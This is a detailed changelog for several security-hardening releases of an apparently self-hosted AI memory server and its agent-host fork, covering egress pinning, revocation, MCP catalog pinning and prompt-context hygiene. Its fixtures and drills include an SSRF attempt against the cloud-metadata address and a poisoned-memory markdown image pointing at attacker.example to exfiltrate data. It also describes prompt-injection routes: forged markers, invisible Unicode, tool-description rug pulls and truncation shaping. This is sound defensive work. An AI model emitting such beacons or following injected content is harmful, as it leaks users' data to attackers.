  • Validation: all plan tests green — private_ranges_refused_table (the full registry table as data: every deny range gets literal-IP cases, class labels asserted), metadata_ip_refused, boot_refuses_private_sink_without_opt_out, opt_out_boots_with_warn_and_pins, pinned_client_survives_dns_rebind (pin to an RFC 6761 .invalid name — the system resolver can never answer it, so a delivered request rides the pin; a re-pin attempt loses structurally and the shadow listener sees zero connections), hostcall_host_cache_bounded_by_allowlist, unresolved_sink_fails_closed; relative_steward_bin_refuses, path_lookup_never_consulted, exe_dir_fallback_still_works; crank_timeout_kills_child (scaled 300 ms window + pid-canary kill -0 reap poll), crank_success_path_unchanged; pending_requires_read_role, unroled_actor_pending_refused, decide_path_unchanged. Full suite 1,399 passed / 7 ignored at the release commit; clippy bench/default/otel clean; fmt + lipstyk clean; CI dry-run set green.
  • DRILL 2026-09-08 on a COPY of the live DB (release build v1.28.69, test port 8801, bridge config in an isolated config dir, mapped actor UDRILL holding read+write+approve; a quiet fresh-migrated DB for the crank legs — the live copy’s queued-alert backlog tried the sink on every boot, which is the lazy seam working, but noisy): (1) BRAIN_ALERT_WEBHOOK_URL=http://169.254.169.254/latest/meta-data → error: fatal egress config: BRAIN_ALERT_WEBHOOK_URL sink host is not globally routable: egress_private_refused: '169.254.169.254' address 169.254.169.254 is not globally routable (link-local/cloud-metadata 169.254/16) — process exits; (2) http://localhost:9999/hook with BRAIN_EGRESS_ALLOW_PRIVATE=1 → boots AND logs egress: PRIVATE sink address admitted by BRAIN_EGRESS_ALLOW_PRIVATE=1 followed by egress pin: BRAIN_ALERT_WEBHOOK_URL sink host 'localhost' pinned to [127.0.0.1:9999, [::1]:9999] (rebinding closed; a host move needs a restart); (3) a signed console crank at a BRAIN_STEWARD_BIN sleep-harness stub (90 s sleep vs the 60 s budget) → the recorded stub pid is GONE from the process table after the response — and the drill found the reaper firing EARLY: the router’s 30 s TimeoutLayer (408) drops the handler future first, and kill_on_drop reaps on THAT drop too — the child now dies on every abandonment path (previously it survived all of them); (4) a shadowing steward-harness planted in a PATH dir (server PATH pointed at it) → 500 steward-harness binary not found beside the kernel, the planted binary’s canary file NEVER appears, audit row workflow/denied.
  • Drill-found placement bug, fixed in-commit: the boot egress check first sat BEFORE tracing init — the refusal printed (anyhow) but every pin/admission log line went nowhere. Moved after injection_policy_boot_warning(); the drill transcript above is from the corrected placement.
  • reqwest 0.13.4’s ClientBuilder::resolve_to_addrs is the documented pin seam (per-client DNS override; hyper-util applies the override at resolution and keeps the URL host for TLS SNI — verified against the vendored source; URL-explicit ports always win over the pinned addr’s).
  • ponytail: non-goals held — no custom DNS resolver trait / hickory integration (system resolver + pin is enough for two static sinks + a bounded allowlist), no egress proxy architecture, no URL allowlist for the alert/DSAR sinks themselves (they ARE the operator’s allowlist; the guard closes the range class), no changes to enqueue_out/drain semantics (Wardline owns that seam), no eviction machinery for the hostcall client cache (the bound is structural).
  • Ceilings (honest): pins live for the process lifetime — a sink host moving to a NEW address needs a restart (documented in the boot log line); the public-only table does NOT apply to the hostcall path (the allowlist is operator trust, and loopback mediation is a pinned feature — the pin closes rebinding, not operator intent); the CLI’s brain workflow crank keeps PATH resolution by design (operator context, not the service context); lazy re-resolution happens at most once per host (boot + first send), so a rebinder’s window is a single resolution; the IANA table is the plan’s enumerate-deny form (the bypass-proof complement — “must be globally routable” — is exactly what the table encodes for unicast space); the console crank’s effective wall-clock is min(30 s router TimeoutLayer, 60 s crank window) — pre-existing layering, and BOTH paths now reap the child.
  • Migration note (test suites): any test that points BRAIN_ALERT_WEBHOOK_URL / BRAIN_DSAR_WEBHOOK_URL at a loopback listener must now set BRAIN_EGRESS_ALLOW_PRIVATE=1 for the send — the in-repo Art-19 drill test does exactly that (with the comment naming the posture).
  • CRATE_TEST_FLOOR raised 1,303 → 1,313 (the spire needle re-measured at the release commit: ten plain-test additions — six egress pins, the hostcall cache pin, three harness pins; the tokio crank pins and the three main_suite console pins ride the run counts, not this needle).

[1.28.68] — 2026-09-07 — “Shutter”: image + beacon egress closed upstream — the two carried EchoLeak-class seats finally shut

The docs half of a two-tree release. The code half lives in the openclaw fork and closes the two UI egress seats carried open since the 2026-08-23 audit (F-E1/F-E2): document-mode remote images and the favicon auto-fetch beacon, both default-ON since before the fork line began, are now default-OFF and host-allowlisted — plus a 64 KiB decoded budget on data: image URIs (X-E4). brain-server’s half is the server-side version stamp: THREAT_MODEL gains the “Exfiltration surfaces” section (§5) and SECURITY.md names the image/beacon class explicitly in reporter guidance. No code, no openapi, no schema in this tree — docs only, by design. Built in parallel from a v1.28.63 cut in the brain-server-68 worktree, rebased onto the post-.67 main (ship order .64 → .65 → .66 → .67 → .68 held). Plan: IMPLEMENTATION_PLAN_v1.28.68_Shutter.md.

Release notes

Security fixes

  • Document-mode remote images default OFF (openclaw, X-E1/F-E1). A poisoned memory rendering ![](https://attacker.example/x.png) in a recovered full message now renders the labeled not-loaded fallback and fetches NOTHING. Opt-in requires BOTH the render flag AND the operator’s gateway.controlUi.remoteImageHosts allowlist (exact hosts; subdomains never implied; empty list = fail-safe for all hosts).
  • Favicon auto-fetch default OFF (openclaw, X-E2/F-E2). The authenticated same-origin favicon proxy 404s unless the operator sets gateway.controlUi.automaticallyFetchFavicons: true AND lists the host — one setting, two consumers (UI images + server route, the server re-verifying as defense-in-depth). Unlisted hosts render a new letter tile: no src, no fetch, first letter of the hostname.
  • data: image URIs bounded (openclaw, X-E4): only payloads ≤ 64 KiB decoded render; larger ones degrade to the fallback. No fetch involved — the budget caps render-time covert channels and pathological payloads.
  • SSRF guard regression-pinned under the new ON posture: the loopback/metadata/private-host refusal now runs with the adversarial host deliberately ALLOWLISTED — the guard, byte/time caps, fixed-HTTPS favicon path, and strict media validation all still enforce when fetching is enabled.
  • THREAT_MODEL.md §5 “Exfiltration surfaces”: the closed seats (server-side strip_markdown_refs from Cordon, the two default flips, the data-URI budget) + the standing ceilings stated honestly — bare URLs in prose remain linkified-but-inert (the documented gate.rs ceiling, still open by design), and operator allowlists are trust, not safety.

Improvements

  • SECURITY.md reporter guidance names the image/beacon exfil class explicitly, so the next reporter who finds a new auto-fetch seat knows it is in scope (EchoLeak / CVE-2025-32711 namesakes).

Engineering record

  • Operator migration (both flips are visible): deployments that want the old look set gateway.controlUi.automaticallyFetchFavicons: true and curate gateway.controlUi.remoteImageHosts (exact hostnames, e.g. ["docs.example.com"]). The empty list is the fail-safe posture; the fork’s config UI exposes both keys with labels/help.
  • End-to-end line proof (fork e2e, remote-images.e2e.test.ts): a recovered assistant message carrying ![](https://attacker.example/x.png) plus a bare https://attacker.example/canary URL renders in document mode with zero network requests to the attacker host, the labeled fallback span visible, and the bare URL present as an inert link. Screenshot pair captured via the UI-proof harness (doc-render-untrusted-host- fetches-nothing.png / doc-render-allowlisted-host-loads.png, committed in the fork’s .artifacts/shutter-proof/).
  • Validation: 9/9 new+updated fork UI e2e tests green (remote-images ×4, favicon-allowlist ×3, link-favicons ×2); markdown component family 265/265; icon-route suite 66/66; control-ui bootstrap 160/160; config reload 455/455; schema regressions 48/48; oxlint + oxfmt clean on all changed fork files; this tree: full gate at the release commit. The agents’ file markdown preview follows the same rule (fallback) — one gate, no per-surface bypass.
  • ponytail: non-goals held — no proxy-side URL rewriting for images (an egress component behind a product whose law is no egress), no per-conversation image toggles (the operator sets the posture, not the document), no blocked-image analytics (telemetry-is-untrusted cuts both ways).
  • Ceilings (honest): bare URLs in prose are inert links, not removed — opening that is the gate.rs ceiling; allowlists express operator trust and cannot make a vouched host safe; the data-URI budget caps render-size channels only.

[1.28.67] — 2026-09-07 — “Pin”: MCP catalog fingerprints, verb scoping, signer pinning, hash-only visibility

One breaking wire change (parcel expected_signer becomes required — the migration note is the point: name your counterparty), one env seam (BRAIN_MCP_SCOPE), one additive unsigned counter (/ump/audit/verify integrity), and one fork feature (MCP catalog pins). Fixes the 2026-09-06 audit’s X-M1, X-M3 (HIGH), X-C1 (HIGH), X-C2. Theme: identity is pinned — tool catalogs stop being re-trusted sight-unseen every run, the MCP binary’s destructive verbs become scopeable, and signatures verify against pinned signers instead of self-asserted ones. Honest disclosure: attribution was self-asserted until .67 — provenance marks verified only that SOMETHING signed the bytes, never WHO; a third-party key’s mark verified identically to the operator’s own. .67 closes that wherever an operator key exists.

Release notes

Bug fixes

  • None.

Improvements

  • The mcp binary accepts BRAIN_MCP_SCOPE=read: the four write verbs (brain_ingest, ump.remember, ump.revise, ump.forget) refuse at dispatch with tool_out_of_scope, and tools/list annotates them "x-brain-scope": "read-denied" so recall-only hosts can render or hide them. Default full is byte-identical compat; an unknown value refuses to start (fail-closed parse, WRITE_POSTURE pattern); the scope logs at startup.
  • /ump/audit/verify responses carry the additive integrity census {verified, signed, hash_only} — the UMP record population under the current serve posture — plus note: "hash_only_records_present" when the operator key exists and hash-only records were seen. Visibility, not gating: serve behavior is unchanged.

Security fixes

  • MCP catalog pins (openclaw fork): tool definitions are fingerprinted (sha256 over name + description + canonicalized schema) and diffed against operator-acknowledged pins every run; a rug pull — a server mutating a description between approval and use — now SURFACES (notification with old→new fingerprint prefix; drifted tools carry pendingAck). Surfacing, not gating (no ack UX yet); pin-file corruption rebuilds loudly.
  • Parcels import requires expected_signer (400 signer_required when missing) and, with a local operator key, refuses an expected_signer aliasing THIS operator’s did on a foreign-produced parcel (409 signer_alias) — nobody imports parcels “from us” that we did not produce.
  • Provenance verify accepts the operator pin: a cryptographically valid mark minted by any OTHER key fails with foreign_signer (visible, never a bare false). Without a configured key the L2 posture is byte-unchanged, and the verify-result JSON always surfaces signed_by so self-assertion is visible.

Breaking changes (migration)

  • POST /parcels/import: expected_signer is REQUIRED. Clients that imported without naming a counterparty now get 400 signer_required. The migration is one line — name your counterparty: pass the did:key of the publisher you expect in expected_signer. Reverting restores the default-empty signer and REOPENS X-C1.

Engineering record

  • M2 (X-M1, brain): McpScope fail-closed parse; dispatch-time scope gate BEFORE any network seam; the gate reads a boot-once OnceLock (the stdio single-parent model makes process-lifetime scope correct); startup logs mcp: scope=<s>. Pins: unknown_scope_refuses_boot, read_scope_refuses_write_tools, read_scope_serves_read_tools, full_scope_unchanged (no annotation key on the default wire), tools_list_annotates_denied_tools. Verified live: BRAIN_MCP_SCOPE=bogus exits 1 with the hex-escaped value; read boots and logs the scope. ponytail: per-tool allowlists are YAGNI — two scopes match the two real consumers; BRAIN_MCP_SCOPE is the only env seam this line adds.
  • M3.1 (X-C1, brain): the alias gate runs handler-side BEFORE the tx (it is request policy, not storage); the serde default stays ONLY so the refusal speaks the named 400 (a serde-level required-field rejection would be an anonymous 422). A parcel genuinely produced by the local did passes the gate and verifies on its own signature (the export → import roundtrip is legitimate). Pins: parcel_import_requires_signer (wire, through the composed app), signer_alias_refused (+ the self-parcel control).
  • M3.2 (X-C1, brain): verify_artifact_detailed(value, pinned_did) — Ok | ForeignSigner{signed_by} | Unsigned | Tampered | Malformed; the pin check runs LAST so tampering reports Tampered even under a pin (the pin never masks it). verify_artifact_json is the additive verify-result JSON (ok, mark, signed_by, pinned, reason). The four emission-adjacent verify sites (remedy draft, ADR packet, campaign packet, KB manifest — the v1.28.62 shapes, all inside provenance_marks_present_on_all_four_classes) now ALSO verify through the pinned variant against the operator did. Pins: foreign_signer_mark_fails_pinned_verify (the forge-drill shape: mark minted under a throwaway key, pinned verify refuses), no_operator_key_mark_verification_unchanged, signer_did_surfaced_in_verify_json. DRILL 2026-09-07: transcript at /tmp/forge_drill.txt (throwaway seed [9u8;32] mints; operator seed [7u8;32] pins; ForeignSigner{signed_by: did:key:z6Mk…} — copies only, the live key dir untouched).
  • M4 (X-C2, brain): the census emits every hash-bearing row the way the §5.3 read seam does and verifies it — verified = what serve would release, signed = carrying a signature under the current serve posture (present iff the operator key resolved). The note fires ONLY for the transitional combination (key exists AND hash-only seen). Serve behavior unchanged — visibility, not gating. The fixture lives in service::ump_ops::tests (the INSERT is storage; the zero-SQL guard is absolute, test residue included — it caught the first placement in development, exactly as designed). Pins: hash_only_counts_surface_in_verify, all_signed_shows_zero_hash_only, key_absent_all_hash_only.
  • M1 (X-M3, openclaw fork): agent-bundle-mcp-catalog-pins.ts — per-tool sha256(name + \0 + description + \0 + stableStringify(schema)), per-server digest over name-ordered fingerprints; pins file mcp-catalog-pins.json beside the agent bundle (agentDir discipline, 0644, not a secret); colliding display renames feed the ORIGINAL server-side name into the fingerprint. materializeBundleMcpToolsForRun reconciles per run (openclaw materializes per RUN — per-run re-hash IS the per-execution cadence; OWASP MCP cheat sheet §2/§7 mapping). Drift notifies; the model-visible description renders UNCHANGED (the operator sees drift, not the agent). Acknowledgment is an explicit operator touch; corruption reads as empty (loud rebuild — every tool re-notifies; it can never silence drift). Rug-pull demo GREEN (scripts/rug-pull-demo.mts, transcript 2026-09-07). Residuals: tool shadowing stays a MODEL-level residual (mitigated by Truthglass args-visibility + this drift surface, not closed); mcp-scan named as third-party operator tooling in docs/mcp.md, NOT a dependency.
  • Gates: full suite green (1,373 passed / 7 ignored across binaries); clippy bench/default/otel clean; fmt clean; lipstyk diff-strict green; CI dry-run set green; openclaw fork suite green (agents-core shard + full local suite), rug-pull demo green. CRATE_TEST_FLOOR 1,267 → 1,278 (the eleven in-crate pins above; the two parcels wire tests ride tests/, which the floor also walks).
  • Ceilings (honest): drift is surfaced, not gated — first use of an un-acked tool is NOT blocked (ponytail: the ack UX does not exist; .73’s key-rotation machinery owns the follow-on). The MCP scope is process-lifetime (correct for stdio’s single parent; an HTTP mode serving multiple clients with different scopes would need per-request scope — not built). The alias gate requires the local key: keyless operators get signer_mismatch instead of signer_alias (the L2 posture unchanged). The census is serve-posture, not at-rest forensics: signatures mint at serve time, so signed == verified whenever the key resolves; the note is dead code today by design (it lights the day a per-record at-rest signature path lands). The fork’s committed pnpm lockfile disagrees with its own typebox catalog (upstream drift predating this line) — pnpm install reconciles it and the npm package-lock guard flags the churn; the committed lockfile was left untouched.

[1.28.66] — 2026-09-07 — “Truthglass”: the approver sees the truth

Theme: action descriptions carry the action’s arguments, destructive CLI verbs prompt consistently, restore names its target, and truncation accounting is honest. Fixes the 2026-09-06 audit’s Lies-in-the-Loop findings X-L1 (HIGH — plugin approvals launder descriptions), X-L2 (truncation shaping), X-L3 (CLI dsar no-prompt purge), X-L5 (restore interlocks). Trees: openclaw fork (M1, M2) + brain CLI (M3, M4). M2 initially rode behind Meridian’s fork half (it re-cuts the same content Meridian wraps in markers) and shipped the moment that half landed on fork main. Parallel-base disclosure: this branch was cut from v1.28.63, built in parallel with Blackout (.64) and Meridian (.65), and rebased onto the v1.28.65 main (floor/version/changelog reconciled in the rebase).

Release notes

Security fixes

  • Plugin approvals now carry the tool-call arguments (openclaw fork). Both approval transports (embedded broker + gateway) include args: the EFFECTIVE arguments (base merged with approval overrides — what will actually run) serialized as display JSON, redacted with the same tools-mode redaction persistence applies, capped at 2000 chars with a visible […truncated N chars] marker. The gateway sanitizes + re-caps at its boundary (the same discipline as detail); the protocol schema (TypeBox, closed object) gates the field, and the generated Swift/Kotlin models are regenerated in-commit. The plugin’s title/description stay — the operator sees the prose claim AND the raw act. OWASP MCP Security Cheat Sheet §4 (“display full tool call parameters — not just a summary name”) is now true at this surface.
  • Tool-result truncation keeps head AND tail, with exact counts (openclaw fork). The keyword-gated “important tail” heuristic is gone — the last 400 chars ride UNCONDITIONALLY (caveats and disclaimers live at the end of real output; guessing which tails matter is the laundering shape), the middle elision marker states the exact elided count ([... N chars elided between head and tail ...]), and the aggregate elision marker is count-first ([tool result elided: N chars elided; ...]) so a crushed budget costs the rerun guidance before the count. The 16k cap and budget discipline are untouched. The audit’s shaping scenario is the fixture: 100k result, injection at char 500, disclaimer at 99k — the disclaimer survives, the injection stays visible (visibility, not removal, is the contract).

Changed — breaking for scripted use (CLI):

  • brain client dsar requires an explicit --action. The old silent purge default — an irreversible multi-domain erasure on a bare invocation — is gone. Omission and unknown values error naming the choices (purge | export | both; both is purge-shaped and prompts too). Without --yes, purge/both print the subject digest (sha256:<12-hex> of the raw subject), the resolved domain, and the irreversibility line, then prompt [y/N] exactly like source-delete. Migration: scripted purge adds --action purge --yes. Export and --dry-run stay prompt-free.
  • brain restore always prompts unless --yes. --force now skips ONLY the liveness probe, never the human gate; the prompt prints the resolved ABSOLUTE target path, its on-disk size, and the audit chain head the overwrite destroys (read-only, best-effort). When the probe is skipped-or-negative its blind spot is disclosed on stderr. Migration: scripted restore adds --yes. The .bak safety snapshot is unchanged.

Improvements

  • resolve_passphrase refuses group/world-readable passphrase files (mode 0600, mirroring the token rotator) — the passphrase unlocks every backup image.

Engineering record

  • M3/M4 land in src/bin/brain.rs: DSAR_ACTIONS closed vocab + dsar_action_from_flags (omission/unknown both error with the choice list), dsar_needs_confirmation (purge|both, --yes seam, dry-run exempt), subject_digest (SHA-256 12-hex prefix of the raw subject — the server still acts on the raw subject), dsar_domains_for_client (live GET /clients/{name} resolve; fail-loud — a purge prompt that cannot name its blast radius refuses), restore_needs_confirmation (force carried in the signature so the pin asserts –force ≠ –yes), restore_target_summary + read_target_chain_head (read-only connection; audit::read_head_pin display), and check_secret_file_mode extracted from the rotator and shared with resolve_passphrase.
  • M1 lands in the fork across five files: the TypeBox schema field (closed object — unknown fields are REJECTED, so the schema IS the registration), PluginApprovalRequestPayload.args + the exported truncatePluginApprovalArgs (code-point-safe, exact-count marker), buildApprovalArgs in the approval transport (computed ONCE; both surfaces see the identical truth; unserializable params render as "<unserializable arguments>" — silent omission is the laundering shape), and the gateway pass-through (sanitize once at the boundary like detail, then cap). Protocol models regenerated (protocol:gen, :gen:swift, :gen:kotlin); protocol:check:swift green.
  • 9 new CLI tests (red-first): action-required shape, unknown-action choices, purge/both prompt matrix, --yes seam, prompt content (digest + domain count + IRREVERSIBLE), pinned sha256 vector, restore prompts-even-with-force, --yes seam, target summary (resolved absolute path + size + chain head, pinned via a seeded schema_meta pin row), wide passphrase refused. 5 new fork approval tests: payload-includes-args (embedded broker, end-to-end with resolve), redaction parity with persistence, visible truncation with exact counts, embedded/gateway parity, exec-transport unchanged. Fork truncation suite: the four M2 pins (head+tail unconditional, exact-count arithmetic — marker count equals original minus kept head minus kept tail, compact-suffix shape drift pin, the audit’s shaping-scenario fixture) + the two legacy strategy tests rewritten to the unconditional contract + the surrogate code-point test re-pinned (the old byte-exact expectation described the head-only output; the new invariants: both ends ride, marker counted, no U+FFFD, emoji never split). CRATE_TEST_FLOOR 1,267 → 1,276 on the original branch; 1,281 → 1,290 at the rebase onto v1.28.65 main (Blackout’s 1,281 + the 9).
  • M2 implementation notes: the tail reservation is bounded to half the budget minus the marker’s widest form (the marker at text.length is the exact upper bound — the count only shrinks toward it), so a tight budget shrinks the tail instead of falling back to head-only; a bounded fit loop (≤4 rounds, each strictly shrinking the head) absorbs marker digit-width drift so the baked count stays exact within the budget. The aggregate marker is count-first: under a crushed budget the marker is sliced from the tail, costing the rerun guidance before the count. A notice larger than the result it replaces is a net increase and the budget loop skips it — elision notices ride only when they actually save budget.
  • Scripted drills: the OLD brain client dsar <name> <subject> → --action is required: choose one of purge | export | both … (exit 1, before any network touch); purge without --yes against a dead server → client resolve error (no request fired — the prompt runs pre-POST).
  • Gates: brain full suite + clippy -D warnings + fmt clean; fork agents/gateway/unit-support lanes green, the FULL embedded-agent lane green after M2 (1,771 tests / 85 files), full lint green after a clean reinstall (the worktree’s first --frozen-lockfile install silently failed on committed drift — extensions/brain-server typebox 1.3.15-lock vs 1.3.18-manifest; repaired with a 2-line lockfile sync riding the fork commit), Swift drift check green.
  • Honest ceilings: the manual approval-surface screenshot (fork DoD) is still pending a human run — the payload contract is what’s machine-verified. The TUI/card renderer displays args as a plain field; a dedicated monospace block is a cosmetic follow-up. Under a crushed aggregate budget the elision marker is still sliced (count-first, so the count outlives the guidance, but a ~25-char budget cannot fit any honest notice) — the protected-entry notice floor is the real path’s guard. The compact recovery suffix and default truncation notice already carried counts; they are pinned unchanged by source drift locks rather than behavioral tests. No server route, schema, or wire change (openapi.yaml untouched; x-api-version unchanged).

[1.28.65] — 2026-09-07 — “Meridian”: content hygiene across the model seam — three trees, four doors

Nothing enters model context unstripped and unlabeled, regardless of which door it used. The smallest structural layer at each of the four doors the 2026-09-06 audit found open: X-R1 (/suggest untrusted label), X-R5 (plugin strip-set drift), X-S1 (HIGH — openclaw plugin seam unfenced/ unstripped), X-M2 (HIGH — openclaw MCP results verbatim). Ships across three trees the same day: brain-server (M1), plugin/ (M2), the openclaw fork (M3, M4 — their changelog cross-references this release). Ordering note (final): v1.28.64 “Blackout” ran in PARALLEL on the same day per operator call and SHIPPED FIRST — its release commit (ff7a8d9) rode the same main push as the two Meridian fix commits (0b66d3b, 03819bf), so keep-a-changelog order has §[1.28.65] above §[1.28.64]: the fixes landed on main before Blackout’s version bump, and that is the honest history. The SEAM LINE numbers follow the audit’s plan table, not commit sequence. The line’s first live end-to-end proof ran 2026-09-07: docs/MERIDIAN_PROOF_20260907.md (transcript retained).

Release notes

Security fixes

  • /suggest joins the untrusted contract (X-R1). Every hit now carries untrusted: true — recall/search parity. Suggested content is data, never instructions. Additive JSON field; openapi.yaml schema entry added additively; docs/api.md one-liner. Content itself already passed sanitize_read — the label was the whole fix.
  • The openclaw host merge seam strips and neutralizes (X-S1, fork). Every plugin-supplied prompt-context segment is invisible-Unicode-stripped and host-marker-neutralized at mergeBeforePromptBuild — the ONE convergence point both the embedded and CLI runners ride. Forged ⟦openclaw:ctx⟧ markers and forged <active_memory_plugin> fence tags are ZWSP-split (visually identical, mechanically unmatchable); the brain plugin’s own UNTRUSTED_BEGIN/END fence survives byte-identical (pinned).
  • MCP tool results ride the external-content idiom (X-M2, fork). Text blocks are invisible-stripped; the joined result is wrapped ONCE (never per block) in the same wrapExternalContent envelope web_fetch uses, with the new MCP Tool Result source label — the untrustedMcpOutput flag finally renders as prompt framing instead of a non-rendering metadata detail.
  • Plugin strip set synced to the Rust canonical set (X-R5, plugin). sanitizeForBlock gains the members the old set lacked (U+061C, U+E0100–E01EF, U+FE00–FE0F, U+180E, U+115F/U+1160, U+FFF9–FFFB, and the U+2060–2063/U+00AD/U+034F legacy members), exported as INVISIBLE_CLASSES; plugin 0.5.0 → 0.5.1. Behavior change is invisible-class-only prompt bytes.

Improvements

  • The openclaw host’s stripInvisibleUnicode widened to the Rust canonical set (adds bidi isolates U+2066–2069, ALM U+061C, variation selectors, legacy members) — the same drift class X-R5 flagged, closed host-side.
  • wrapExternalContent refactored onto an exported createExternalContentEnvelopeSegments (byte-identical output) so the multi-block MCP envelope shares the exact marker/metadata family.

Engineering record

  • M1 (brain): SuggestionHit gains pub untrusted: bool (plan-verbatim doc comment), serialized true at the single construction site (handlers/suggest.rs:213 region). Pins: suggest_hits_carry_untrusted_true (wire shape serializes) + suggest_label_parity_with_recall_and_search (the three-surface source pin: recall.rs ≥5 sites, search/mod.rs, suggest.rs each carry the declaration + the untrusted: true label). CRATE_TEST_FLOOR 1,267 → 1,269.
  • M2 (plugin): the parity fixture plugin_invisible_set_matches_rust_canonical (one probe char per Rust-set class + survivor vectors) is THE DRIFT PIN — either side changing without the other fails CI. 53 plugin tests green.
  • M3 (fork): new src/plugins/context-hygiene.ts — sanitizePluginContext applied to the JOINED accumulator per merge pass (strip runs FIRST, so the sanitizer is idempotent and a plugin-supplied pre-split marker re-forms and re-splits). The built-in active-memory plugin’s own emitted tags are split too — deliberate and uniform (no per-plugin logic): the model reads the rendered text identically while no literal tag can re-form from plugin-supplied text. Eight tests incl. the pre-split re-neutralization and the brain-fence-survives pins.
  • M4 (fork): projectMcpCallToolResult (the single top-level assembly both MCP consumers share) wraps real content exactly once; the host-authored empty placeholder stays unwrapped. Materialize fixtures updated to unwrap the envelope before asserting (their projection intent unchanged); the envelope itself is pinned by mcp-content.wrap.test.ts.
  • Gates: brain full suite green (cargo test –features bench), clippy -D warnings clean, fmt clean; plugin vitest 53/53; fork typecheck + lint + targeted vitest shards green (plugins/infra/security/materialize/code-mode/ new suites). Two disclosures from the shared release window: (1) the pre-push lipstyk gate blocked on plugin/src/format.ts comment density (66%) — resolved by a comment-only condensation (4e6c477), zero behavior change; (2) the connector-stub spawn test (live-server integration, the known pre-existing race disclosed in §[1.28.64]’s ceilings) fired once under the parallel sessions’ load — the live server stalled 12.6s and the stub’s 15s timeout tripped; passed on rerun, no code touched.
  • Live proof (2026-09-07): docs/MERIDIAN_PROOF_20260907.md — a memory carrying the U+E0000 tag block + forged host markers, ingested into a TEST server (fresh DB, test port, copies-only discipline), recalled through the real plugin + host merge + CLI composition: all three forgeries absent from the composed prompt, brain fence byte-identical. GREEN.
  • Ceilings (honest): X-R2/X-R3 stand — HTTP JSON is unfenced by design (consumers fence); Meridian makes the two REAL consumers’ hosts structural. HTML strip is .72’s call. No taint lattice / per-plugin origin classification (X-S2 → .74 Origin); the allowPromptInjection=false opt-out remains the stronger kill switch and no stripContext escape hatch was added. MCP schema pinning is .67; truncation shaping is .66 — a result wrapped BEFORE truncation can lose its end marker in model view until Truthglass ships head+tail honesty. No server-side fence envelope on HTTP JSON. The fork’s pnpm-lock.yaml typebox bump present in the working tree predates this line and is NOT part of these commits.
  • Wire: openapi.yaml additive only; x-api-version UNCHANGED; schema untouched; no new deps in any tree.

[1.28.64] — 2026-09-07 — “Blackout”: revocation and surface identity, completed

The kill-switch becomes authN-wide for real, the denylist outlives the tokens it denies, and the server’s public surface and guard tables become single-sourced and two-directional. Closes the identity/authority findings X-A1 (HIGH), X-A2, X-A3a, X-A6, X-A7, X-A8, X-A9 from the 2026-09-06 audit. No schema change; no new deps; wire additive only.

Release notes

Security fixes

  • The principal kill-switch now runs at the authentication layer (X-A1). Before this release, a revoked agent holding a still-valid JWT or capability token kept recall/ingest/proposal/outbox access on every non-mesh route — handlers/mesh.rs claimed “revocation is identity-wide” but the claim was mesh-only (cards, delegation dispatch, result submission). That scope disclosure is now honest: after a revocation, ANY bearer naming the revoked identity is refused 401 identity_revoked on EVERY route, after the credential verifies and BEFORE authorization runs (the identity is dead, not unauthorized for the route). The denial is byte-identical for every revoked principal — a straight keyed read of the bearer’s own identity, no provisioning lookup, so no existence oracle is added (probe-blind, same doctrine as the mesh check) — and the denial is audited path-only (never the token). Capability tokens deny through their issuer principal (the iss is the capability’s identity anchor) in BOTH auth middlewares; a revocation committed mid-flight denies the NEXT request with the same bearer (decision-time, no liveness cache). Documented scope: opaque-loopback bearers have no principal id to revoke (the static-token world predates identities; the operator/agent split is the Twokeys line).
  • Logout/revoke denylist rows live exactly as long as the token they deny (X-A2). Rows were written expires_at = now + 15 min regardless of the token’s real exp — for a longer-lived external-IdP token the row was purged while the token still verified: a silent revocation lapse. The row’s TTL is now the verified token exp (injected by the JWT middleware beside the principal), clamped to 24h so a hostile or clock-wrong IdP value cannot pin rows to the bounded table forever. Server-minted 15-minute tokens behave byte-identically (the clamp never bites).
  • Per-kid algorithm pinning (X-A3a). A key record’s declared alg is compared strictly against the JOSE header’s alg BEFORE any signature work; a mismatch refuses 401 alg_mismatch_for_kid. The family slack is closed (an RS256-recorded kid no longer verifies an RS384 token signed with the same key — the header’s alg is attacker-chosen, the record’s is not). Every load-path record declares its alg (auto-detected from the PEM key shape), so no re-import is needed; the None escape hatch keeps the whitelist-only behavior for a future undeclared record (additive).

Improvements

  • ONE public-path list (X-A6). The two auth middlewares carried duplicate matches! blocks asserted equal by nothing (and already disagreeing with the coverage table). Both now consume a single route_guards::PUBLIC_PATHS + is_public_path decision living beside the tables it feeds; /.well-known/security.txt joined both guard tables (the one row gap), marked public (the middleware exemption, spelled as data).
  • The guard tables verify BOTH directions (X-A7, X-A8). A new reverse-direction guard walks every (method, path) the composed router registers and demands each appears in OPENAPI_ROUTES and — unless public or explicitly allowlisted — in AUTHZ_GATES. The forward-only check had let 17 registered paths sit outside both tables. Fixed by ADDING rows (the handler gates were verified correct at the finding’s audit — table debt, not gate debt): /workflow/scoreboard (Admin), /workflow/calibration/sign (Admin), /workflow/plugins/mount (Write), /stats (Read — a legacy 200-shell route whose real gate was invisible to the tables). The declared allowlist (8 SPA-seat routes, 5 feature-gated compliance-pack routes, 2 middleware-presentation carve-outs) is anti-rot-checked: an exemption whose route disappears fails the scan. The scan is also METHOD-keyed now — the old last-insert-wins map scanned only one method’s handler on shared paths; every method’s handler must carry its gate. Both counter-self-pins red-proof the guard (a planted missing row fails; a planted gate-less POST on a shared path fails).
  • INJECTION_POLICY=allow is never silent (X-A9). The one env var that disables a security control entirely had no boot validation and no warning. allow (a real trusted-local-sources posture — refuse-at-boot deliberately NOT taken) now warns once at boot naming the env var and the consequence, and /health/db’s hardening block echoes the resolved policy (quarantine|reject|allow) so every health scrape shows the screen’s state. Additive JSON field; Read gate unchanged.

Engineering record

  • M1 (authN kill-switch): the check sits inside the JWT middleware’s existing spawn_blocking verify block (after the jti denylist read, one more indexed SELECT — the same workflow::mesh::is_revoked the mesh surfaces consult, so cost is the proven dispatch-path cost) and in a shared ensure_cap_principal_alive helper on the capability pass-through of BOTH middlewares. Store failure denies (fail-closed, the jti-check posture). The opaque middleware’s state grew from a bare TokenStore to OpaqueAuthState {tokens, pool, db_path} — the pool is what makes the capability seam reachable in opaque mode (the live deployment posture). handlers/mesh.rs’s identity-wide claim is now code-true; the CHANGELOG above discloses the pre-.64 mesh-only scope. Pins: revoked_jwt_principal_gets_401_on_every_route (route-class spread), revocation_checked_before_authorize (401-before-403 ordering), revoked_capability_token_denied (real operator key, real route), unrevoked_principal_unaffected, revoked_denial_is_probe_blind (carded-vs-rowless revoked principals, byte-identical bodies), kill_switch_survives_dispatch_race, plus the law-9 matrix extension authz_matrix_revoked_principal_row_per_class (six JWT classes die at the middleware; the opaque class pinned unaffected — no principal id).
